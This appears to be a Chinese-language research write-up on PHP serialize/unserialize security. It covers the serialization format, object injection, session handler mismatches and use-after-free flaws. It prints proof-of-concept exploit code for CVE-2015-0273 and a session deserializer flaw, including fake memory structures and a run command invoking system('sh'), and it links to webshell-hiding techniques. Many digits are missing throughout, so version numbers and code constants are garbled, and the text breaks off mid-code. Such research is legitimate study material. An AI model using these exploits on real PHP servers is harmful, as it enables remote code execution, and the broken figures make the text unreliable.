PHP serialize && unserialize Security Risk Research

时间:2023-11-11 20:00:14

目录

. 序列化的定义
. serialize:序列化
. unserialize:反序列化
. 序列化、反序列化存在的安全风险
. Use After Free Vulnerability in unserialize() with DateTime* [CVE--]
. PHP中的内存破坏漏洞利用(CVE--8142和CVE--)
. PHP多种序列化、反序列化处理机制不同导致对象注入
. 序列化/反序列化在开源CMS上存在的漏洞
. pch-.md: Use After Free Vulnerabilities in Session Deserializer
. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量

1. 序列化的定义

序列化在计算机科学中通常有以下定义:

. 对同步控制而言,表示强制在同一时间内进行单一存取
. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等,或者透过网络传送资料时进行编码的过程,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象,以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化

序列化有多个优点

. 一个简单和持久的方法使对象持续
. 一个发起远程过程调用的方法,例如在SOAP内的
. 一个分发对象的方法,尤其是在如COM及CORBA的软件组件化内

Relevant Link:

http://zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96
http://baike.baidu.com/view/160029.htm

2. serialize:序列化

serialize: 产生一个可存储的值的表示
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型,包括

. 指向其自身引用的数组
. serialize() 的数组/对象中的引用也将被存储(引用本身也会被序列化)
. ...

从本质上来讲,序列化的过程是一个"对象(广义上的对象,包括integer、float、string、array、object)"进行"对象销毁",然后转换为一个通用的中间可存储字符串,在整个序列化过程中,对象经历的声明周期如下

. __sleep(): 在执行对象销毁前获得执行权限
. __destruct():执行实际的对象销毁操作

code

<?php
class Connection
{
var $protected_var;
var $private_var; public function __construct($server, $username, $password, $db)
{
echo "function __construct() is called" . "</br>";
$this->protected_var = "protected_var";
$this->private_var = "private_var";
} function __destruct()
{
echo "function __destruct() is called" . "</br>";
} public function __sleep()
{
echo "function __sleep() is called" . "</br>";
} public function __wakeup()
{
echo "function __wakeup() is called" . "</br>";
}
} //initialize a var
$obj = new Connection(); //var_dump($obj); $result = serialize($obj); //var_dump($result); unserialize($result);
?>

Relevant Link:

http://php.net/manual/zh/function.serialize.php
http://php.net/manual/zh/language.oop5.magic.php#object.wakeup
http://php.net/manual/zh/language.oop5.decon.php

0x1: 序列化字符串格式

. a – array: 复合类型
. b – boolean: 标量类型
. d – double: 标量类型
. i – integer: 标量类型
. o – common object 
. r – reference: 对象引用 
. s – string: 标量类型
. C – custom object: C 是 PHP5 中引入的,它表示自定义的对象序列化方式
. O – class: 复合类型
. N – null: N 表示的是 NULL
. R – pointer reference: 指针引用 
. U – unicode string: U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式

0x2: NULL和标量类型的序列化

NULL和标量类型的序列化是最简单的,也是构成复合类型序列化的基础

. NULL 的序列化
在 PHP 中,NULL 被序列化为: N; . boolean 型数据的序列化
boolean 型数据被序列化为: b:; 或 b:; . integer 型数据的序列化
integer 型数据(整数)被序列化为: i:- ~ ;
数字前可以有正负号,如果被序列化的数字超过这个范围,则会被序列化为浮点数类型而不是整型。如果序列化后的数字超过这个范围(PHP 本身序列化时不会发生这个问题),则反序列化时,将不会返回期望的数值 . double 型数据的序列化
double 型数据(浮点数)被序列化为:d:double float;
其范围与 PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化后的数字范围超过 PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字范围超过 PHP 所能表示的最小精度,则反序列化时返回 .string 型数据的序列化
string 型数据(字符串)被序列化为:s:length:"";
前一个冒号中的是长度,是非负整数,数字前可以带有正号(+)。后面的冒号中为字符串值,这里的每个字符都是单字节字符,其范围与 ASCII 码的 – 的字符相对应。每个字符都表示原字符含义,没有转义字符, 两边的引号("")是必须的,但不计算在长度当中

0x3: 简单复合类型的序列化

. 数组序列化: a::{i:;s::"prefix";s::"payload";s::"attack";}
) a:2表示数组元素的个数
) i:0表示数组元素的下标
) s::"prefix"表示与下标对应的数组元素的值 ) s::"payload"表示数组下标payload
) s::"attack"表示对应下标的值
. 对象序列化: O::"Foo"::{s::"var1";i:;s::"var2";i:;s::"*var3";i:;s::"Foovar4";i:;}
) O::"Foo": 代表对象的类名长度,以及类名字符串
) :: 代表该对象有4个成员
) var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 $
) protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\*\0的前缀。这里的 \ 表示 ASCII 码为 的字符,而不是 \ 组合
) private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上\\0的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类
//字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的

0x4: 嵌套复合类型的序列化

在PHP中,复合类型数据(对象和数组)是引用传递的,但是引用传递也分为两类

. 对象引用: 普通的符合类型数据赋值就是对象引用
. 指针引用: 赋值对象前加上&的赋值就是指针引用

看下面的例子

<?php

class SampleClass
{
var $value;
}
$a = new SampleClass();
$a->value = $a; $b = new SampleClass();
$b->value = &$b; $a->value = ;
$b->value = ; var_dump($a);
var_dump($b); ?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOoAAABLCAIAAADxtoxSAAADb0lEQVR4nO2c4XHjIBBG+ZXy0kcKySSTElJCrpCU5ftxOQ1mYbUgFOmT3xtPRkawrMwTRnLs9PX1hwcP0Ue6AciCviAM+oIw6AvCoC8Ig74gDPqCMOgLwqAvCIO+IIyAvikJJDlM6+jSf5yGfoVHoOvgv99+XrG3b69Ca+8I1eFJGdvjB+PYTifmECy0e9G3i/mC+jHt8OwxYKuu+LPgHr2vzruzepfm1PqewV2/wqx8uo4034W+DstqYdErL8md82tWq6WUXl5SwZ3E1UFtzVXLriJiUcFGaPWyRHNeIBuqiG/7baXnR27t8tO7PM7B55Pisl0ttE262nbMvreawXY47d/qhv+0V9/qdtBL9B1jV31ziratju6TC79r2/my5a6znccpZsdIDkUaeYmtEwkV6RR9W8yafasBI+UhfXMbpug79tSm4R/IqoXoG+HUi4db4B3Zbvv6Bo0smtuaq2k4vazWdwrRN2fWpVteP3jpZr2vSGxnuKoKObdMvnwjb2ubtLpwSpzyVlathvaldw7Tr/ZQzD34PW6rTRihM49xK7fWuRqv8AhMOfjWnHo8jPG1YVxBGPQFYdAXhLmUvocsc1lbH8hZBrt1jdVrxphJG6/wxhq+f7yOdbeR58+nQ/rdgwOmDf9m0E6R92u+pdOgwRNn9+fPJ/Td0N9u7m7nkARmzcHx5NHXRKl9nlTdrn7stNSxAVsddWVlG1bj2ARa272iv3+8Fo9ib1e0Kui7LVDPPyTcai/3akkrciSreIaR5OMJBHEMLs6W6vnfdVKhr4kSsyToSrDCcGLLUyuB3zbdM5BPldXZt5XY2OmEvibKWfWtdu0nWX1aDRLHWTxEVg7o22Kyvi2PJ64ceh3yz5xjFw9jdx7Qd2HCGLTeT1ObVp1qSVFzLEMn57H0BtIoiLub92iTKWr60f7dOLuMwXP03R4EYIBN5k2cigAGwDwQBn1BGPQFYdAXhEFfEAZ9QRj0BWHQF4RBXxAGfUEY9AVh0BeEQV8QBn1BGPQFYdAXhEFfEOZX9b3MV6zgJKzoO/GLQFf6hiCchF/9qib6wlzQF4TxzHN+9MAWRjpDX5hL39o38fsucCbQF4RBXxBmfe3Lr2vBaeFTNxAGfUEY9AVh0BeEQV8QBn1BGPQFYdAXhEFfEAZ9QRj0BWH+Ap+1OkZzRLc4AAAAAElFTkSuQmCC" alt="" />

改变 $a->value 的值仅仅是改变了 $a->value 的值,而改变 $b->value 的值却改变了 $b 本身,这就是对象引用和指针引用的区别

0x5: 引用标示后的数字

对象引用(r)和指针引用(R)的格式为

r:number;
R:number;

这个number,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置

<?php

class ClassA
{
var $int;
var $str;
var $bool;
var $obj;
var $pr;
} $a = new ClassA();
$a->int = ;
$a->str = “Hello”;
$a->bool = false;
$a->obj = $a;
$a->pr = &$a->str; echo serialize($a); ?>

aaarticlea/png;base64,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" alt="" />

. 在这个例子中,首先序列化的对象是 ClassA 的一个对象,那么给它编号为
. 接下来要序列化的是这个对象的几个成员,第一个被序列化的成员是 int 字段,那它的编号就为
. 接下来被序列化的成员是 str,那它的编号就是
. 依此类推,到了 obj 成员时,它发现该成员已经被序列化了,并且编号为 ,因此它被序列化时,就被序列化成了 r:;
. 在接下来被序列化的是 pr 成员,它发现该成员实际上是指向 str 成员的一个引用,而 str 成员的编号为 ,因此,pr 就被序列化为 R:; 了

PHP 是如何来编号被序列化的对象的呢

. PHP 在序列化时,首先建立一个空表
. 然后每个被序列化的对象在被序列化之前,都需要先计算该对象的 Hash 值,然后判断该 Hash 值是否已经出现在该表中了
. 如果没有出现,就把该 Hash 值添加到这个表的最后,返回添加成功
. 如果出现了,则返回添加失败,但是在返回失败前先判断该对象是否是一个引用(用 & 符号定义的引用),如果不是则也把 Hash 值添加到表后(尽管返回的是添加失败)
. 如果返回失败,则同时返回上一次出现的位置
. 在添加 Hash 值到表中之后,如果添加失败,则判断添加的是一个引用还是一个对象,如果是引用,则返回 R 标示,如果是对象,则返回 r 标示。因为失败时,会同时返回上一次出现的位置,因此,R 和 r 标示后面的数字,就是这个位置

0x6: 对象引用的反序列化

PHP 在反序列化处理对象引用时很有意思,如果反序列化的字符串不是 PHP 的 serialize() 本身生成的,而是人为构造或者用其它语言生成的,即使对象引用指向的不是一个对象,它也能正确地按照对象引用所指向的数据进行反序列化

<?php

class StrClass
{
var $a;
var $b;
} $a = unserialize('O:8:"StrClass":2:{s:1:"a";s:5:"Hello";s:1:"b";r:2;}'); var_dump($a); ?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVEAAABDCAIAAACqfaExAAAG0UlEQVR4nO2b63cUNRiH37+0KIKKHtQjVKBbaGntxYKAhXZbeoGW26EVRXtQQWsvC22RKgqIfOufMn6o7pnm8uadTKY7O/k9Zz9Ms28ymWSeJDvTUHd9taNzbGdnZ2FhER988Kn8h7rqqx2dV3Z2dhIAQARQV33tQOcYnAcgEqhWX+s4DucBiAWs7QGIC6rVVzHPAxAPVKuvdBzDPA9ALOzO83AegFigrvEVOA9APFBtfKXj+GU4D0AkUK2+cgDzPADRsPt7vj3meSJqdRUcMDWk//EOACAI1F33+D2/OfTf/Tm0yQXYvvXBKAOl8CgwnTeUcrYSeNslYQAEgbrra17/kxPear5MXQZmFOBPw8Tsv/NKZeA8KBo6PbH6ls//2++r80LhmfRQeSXYBiNJMJwHRUOnJ9YEzjcX800n0ylpUflIYxgRHTlCCnvMNzqv26Is19Nh6QNrW1jOopTmTITzoMzQmcn1t0+Ms86np9/msTFRz5Ipb4Z5PrEs0Z2jg9x5PZdQZjgPygz1XF0/WLjzaZS8thPtraXvAzC5Ucywoq8a9BhJUZJEOA+KhnqnGsU7r2hcFueZvIrqzso4lxJwHpQE6p1uHDxZL/naPrFIxYhqC5B8lSmSrxKTy7ZqMGYHIBR0dvrxOw7nkyzP8NLxwmd4+mBhMF+R0CZM2j1jmJJIezFG6jB5bdLy1bCFARAc6pt+fMjtfFaKeJPXBj4wNbRJLg8AIAjUN9MI57xt9gYAlAXqn2kcOhV8ngcAlBTqm24cPsk/twcAVAf6fKZx+BScByAWaKCKzgsfhlX+mdk20fa+X2Cek5a/O8pfQyc0MNt4txW/522+hXqJJYz368LhkQGPXC0hrd+ujbsp6WNjLv1bPovtpHL0l6AehQhPJL895K9j2wUavPb4va7WPMPjX1wVVHKosxSqfai7SndPGQKyZvfO5aS4f1XIM4XYpqUA1WodNHT9yfu11szzHl+VCj/tW3t1++C8B4X+b1JY4eXZSwsNzz050j0RynnbWkg/1sPShegF2k7kUbdMVzQ8MqB8lG8zlZa0+o6xOW9bzPMl2DJmRaJluvuMt5kSpmOMMWYxhjF1ay9oZH7jg9OTAef5dJPpic1jY5gwxVaypFbyLEIY7ZnbKP1n+kA5NhbCp/M0FU2LygwExhLkwULkPW48UBKdijL3nqR6be/8+RubH565GnCe148Z4ZMsPWQLyFS9rJLw8PO88URGdZ0xzgMhRkuNA0GyX85LLl8Z4PjbjB/fSzVhtAS6cGvzaE8Uzvt5wqztJQt74/zM/MnH6PO/4Ar2YHPeGcyXwBTixKPHbfePs7WN8fqYwp/CdUFlhy7e3vqodyq48zb5Feed/a2n+KkbvNsy/ZLPNMYxMd7TexOn8+Wc520HtsT0t0yD25qxwsInSUIX72x9fHY6iPP6YKmnG8dUPcaYokTmqV7OzhMKzzdIYrkWJVFvE6ZkHub9vO1PeaK8Ggr6lTI9bmycZiFMUzN5bbXSq+F9jaWCRu8+/aQvmPP5CwESKnYv5r+EohukAo3chK4sPP20P6/zQSZPkAm0eRq/hU+c0PjC02O5nQcAtAtUX/ytcwDOAxALNPH1MzgPQDzQ5L1nn1XOeeHvusr//MNe2uCUv4ZOaOqbZycGW+C8zTfbk5isba2/7HGGycFeWvlJ5dheqgVHXjjtRalnm0Kz97dPDc1Ufi+tbXzxPgX20mbK5ST/KM+U7F148NumDNC177ZrX8xWfi9tEWViL20oihM+T+Fh14blgeaWfu8eCea8bS2kHzMvVPVluTEm0/KPOR0P9tIyJdgyZkWiZbr7jLeZEqZjjDFmMYYxdWsvaH7pjzPnrmEvrTfYS8sEC5H3uPFASXQqytx7kuq1vfM3HzzvOX+98vvqCnIee2n5YAmSy1cGOP424/u6VBNGS6A7Pz4/e2EOztvAXlpJCUwhTjx63NabztY2xutjCn8K1wWVHbr78M/+Apy3ya847+xvPcVvigvebdhLKwmWkGeZY0tMf8s0uK0ZKyx8kiS08Oiv/kvzld9La6ubH9hLi7207Qst/vxi4NIN7KVtLyp2L+a/hKIbpAKN3ITuLb8YHM3rfMApFAhBm6fxW/jECX27/HL4cph5HgBQfuj+r3AegIig71dejVyB8wDEAi2tvhwZg/MAxAItrb08B+cBiAZ6sP7q/NhNOA9AJNAP66++HIfzAMQC/dT4+0L9FpwHIBLo4ZPXF+E8ANFAjzZeX5qA8wDEAv2y8c9Xk7fhPACRQMubb0av3oHzAEQCLW++GZ2C8wDEAi1vvbkM5wGIhn8B4KKIbKawwrYAAAAASUVORK5CYII=" alt="" />

大家会发现,上面的例子反序列化后,$a->b 的值与 $a->a 的值是一样的,尽管 $a->a 不是一个对象,而是一个字符串。因此如果大家用其它语言来实现序列化的话,不一定非要把 string 作为标量类型来处理,即使按照对象引用来序列化拥有相同字符串内容的复合类型,用 PHP 同样可以正确的反序列化。这样可以更节省序列化后的内容所占用的空间

3. unserialize:反序列化

从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值

在反序列化中,经历的对象声明周期为

. __construct():执行对象注册、包括对象中成员的注册
. __wakeup:在构造函数执行后获得执行权限

Relevant Link:

http://php.net/manual/zh/function.unserialize.php

4. 序列化、反序列化存在的安全风险

0x1: 对象注入

<?php
#GOAL: get the secret; class just4fun
{
var $enter;
var $secret;
} if (isset($_GET['pass']))
{
$pass = $_GET['pass']; if(get_magic_quotes_gpc())
{
$pass=stripslashes($pass);
} $o = unserialize($pass); if ($o)
{
$o->secret = "?????????????????????????????";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>

serialize一个just4fun的对象,序列化之前先进行引用赋值

$o->enter = &$o->secret

0x2: PHP Session 序列化及反序列化处理器

http://drops.wooyun.org/tips/3909

0x3: 基于序列化、反序列化的Webshell隐藏技巧

http://www.cnblogs.com/LittleHann/p/3522990.html
搜索:0x22: PHP的序列化、反序列化特性布置后门

Relevant Link:

http://drops.wooyun.org/papers/660

5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

0x1: Affected Versions

Affected is PHP 5.6 < 5.6.
Affected is PHP 5.5 < 5.5.
Affected is PHP 5.4 < 5.4.
Affected is PHP 5.3 <= 5.3.

0x2: 漏洞源代码分析

\php-src-master\ext\date\php_date.c

static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)
{
zval *z_date;
zval *z_timezone;
zval *z_timezone_type;
zval tmp_obj;
timelib_tzinfo *tzi;
php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-);
if (z_date) {
convert_to_string(z_date);
z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-);
if (z_timezone_type) {
convert_to_long(z_timezone_type);
z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-);
if (z_timezone) {
convert_to_string(z_timezone); ...

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

0x3: poc

<?php

$f = $argv[];
$c = $argv[]; $fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1);
$y = $x[]; // zend_eval_string()'s address
$y[][] = "\x6d";
$y[][] = "\x1e";
$y[][] = "\x35";
$y[][] = "\x00";
$y[][] = "\x01";
$y[][] = "\x00";
$y[][] = "\x00";
$y[][] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr)
{
$out = "";
for ($i=; $i<; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} ?>

gdb php
run uafpoc.php assert "system\('sh'\)==exit\(\)"

Relevant Link:

https://github.com/80vul/phpcodz/tree/master/research

6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)

待研究

Relevant Link:

http://drops.wooyun.org/papers/4864

7. PHP多种序列化、反序列化处理机制不同导致对象注入

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式

. php: 键名 | 经过 serialize() 函数反序列处理的值
. php_binary: 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
. php_serialize(php>=5.5.): 经过 serialize() 函数反序列处理的数组

0x1: ini_set("session.serialize_handler", "php");

0x2: ini_set("session.serialize_handler", "php_serialize");

0x3: ini_set("session.serialize_handler", "php_binary");

0x4: 安全隐患

构造通过ini_set("session.serialize_handler", "php_serialize");方式生成的SESSION本地化文件

D:\wamp\tmp
a::{s::"ryat";s::"|O:8:"stdClass":0:{}

然后通过PHP默认的ini_set("session.serialize_handler", "php");方式从磁盘上load这个SESSION文件

<?php
session_start(); ini_set("session.serialize_handler", "php");
var_dump($_SESSION);
?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAANkAAABHCAIAAAAFsHUSAAAD+klEQVR4nO2cXXLrIAyF2W4X0kmnG8uyuA/J9WD0gwBjH6fnmz7EREgCjoXtSZ0yIRikqxMg5A21SFCgFgkK1CJBgVokKFCLBAVqkaBALRIUqEWCArVIUADVYkpXJnZt9D8L4qRHpHCsXKQ3yvF84Gb8fBGklKhFBLBm/BIFqEGpxfMpZ/z5SBuPZ9HyeG5fPZ5uozwszDa3djZ7BaQ9ZYtvJi2TwArqNJKlbDP+UkwpwZ0c9zKqGtW+lkM3GyGyppn6WX6IB413JMdSzbhVGisZOY113/91sVuIufNKziqBvUGdEGQpco+OlDTZaPad0aLa3pSsZcANGpzgHu1r0bGPCjGPatHZlyNFMV53yWqse5cXX1+7w+oK0mn0pWyksi9XVRlTC5vf2AwnzSjEC1k69R1CfHGtFCjEa1k0+x3PcQh5wUpAUKAWCQrUIkGhW4uRW9SjWBdruzdf4fy0EGNpnLmCXYzkNDmSePfhQH7HOwpRPoGKPLqy0hhL7Of3e6BXnJG6OBWv56QcizW8QsNYi31UiEqCaovT8cBnqEvliPIbrUnLqsvJe9DqcMNaXME6OS7fRFRL2dHyKf07IbbP8RDSJu2RQ1O/CtZ7tYKq/n0PlhaDaTT5+f2u/qpv50NIVm0ieVqLznRbfWe06HizPFvh4nTNWzMNv++xrJDjkXkHy0N8srpm2VqeOGrRstqrSjYQrnTVm978YGeArou5p0iMaTHSt2u7jIeTVdb6MEzvpK3WorNHo18vrtijs7HYkWI5vEdHXPnpdRGcN/+cPHOPvsd9dNqTjXmRdSuoRbXgzYdQ81dzcEYaDCG9qUGtYaoRIxNyFHDPF89k9VkeSQDc4SfBqdFRqw5ZCueaoEAtEhSoRYLCh2sR/4LPybB5zfphF7WnDUN9/4Q0OPKfY+YXSX3asjUeJQXLg6/CiNm9OHMYx6vN9xlcpGbt8W3O16I8QyYTAOFjtRhfoUj5WSdEx08wKLXYxHxr2b6xaamaJfEegVqRcoUqa7VFWqquIlGsoFYmEedqu5PevVg0jIE3j/lmXa9YybnndxXW0g5oMYmtMygyajEDa7Gk6msF2g/MqFi+WVBMVohs1MVmJnEtxs+x2wGrxchb9pz2waLS1KI0KA9LCTaTcVx1NVKLPtfv0Tm2llWJkvXMF5912KXF4Gkjs/W73w6Ee5fSPnjv4rwktxibewNRflUdVpbWoeVNxfevzqDl3De7LzjDWPHE5wbr5GRoiS9ucC8uHwbfSEbeXK5FQt5QiwQFapGgQC0SFKhFggK1SFCgFgkK1CJBgVokKFCLBAVqkaBALRIUqEWCArVIUKAWCQrUIkGBWiQoUIsEhX+3gET0T/TFRAAAAABJRU5ErkJggg==" alt="" />

造成反序列化对象注入

Relevant Link:

http://drops.wooyun.org/tips/3909

8. 序列化/反序列化在开源CMS上存在的漏洞

Relevant Link:

http://drops.wooyun.org/papers/596

9. pch-031.md: Use After Free Vulnerabilities in Session Deserializer

Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

<?php

session_start();

$fakezval = ptr2str();
$fakezval .= ptr2str();
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00"; $exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}'; //$exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit); for ($i = ; $i < ; $i++) {
$v[$i] = $fakezval.$i;
} var_dump($_SESSION); function ptr2str($ptr)
{
$out = "";
for ($i = ; $i < ; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} ?>

When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload().

Relevant Link:

https://github.com/80vul/phpcodz/blob/master/research/pch-031.md

待研究

http://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf
https://sektioneins.de/en/blog/14-08-27-unserialize-typeconfusion.html

10. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量

0x1: spl_autoload_register自身存在的binary漏洞

<?php
$buffer = str_repeat("A",);
spl_autoload_register($buffer); ## Or..
# spl_autoload_register($buffer,,); #Should work too.
?>

0x2: __autoload() —— 自动加载函数

__autoload — 尝试加载未定义的类,可以通过定义这个函数来启用类的自动加载

//创建class文件夹,分别创建3个类库文件
<?php
//class1.class.php中
class class1{
public function __construct(){
echo "class1";
}
}
?> <?php
//class2.class.php中
class class2{
public function __construct(){
echo "class2";
}
}
?> <?php
//class3.class.php中
class class3{
public function __construct(){
echo "class3";
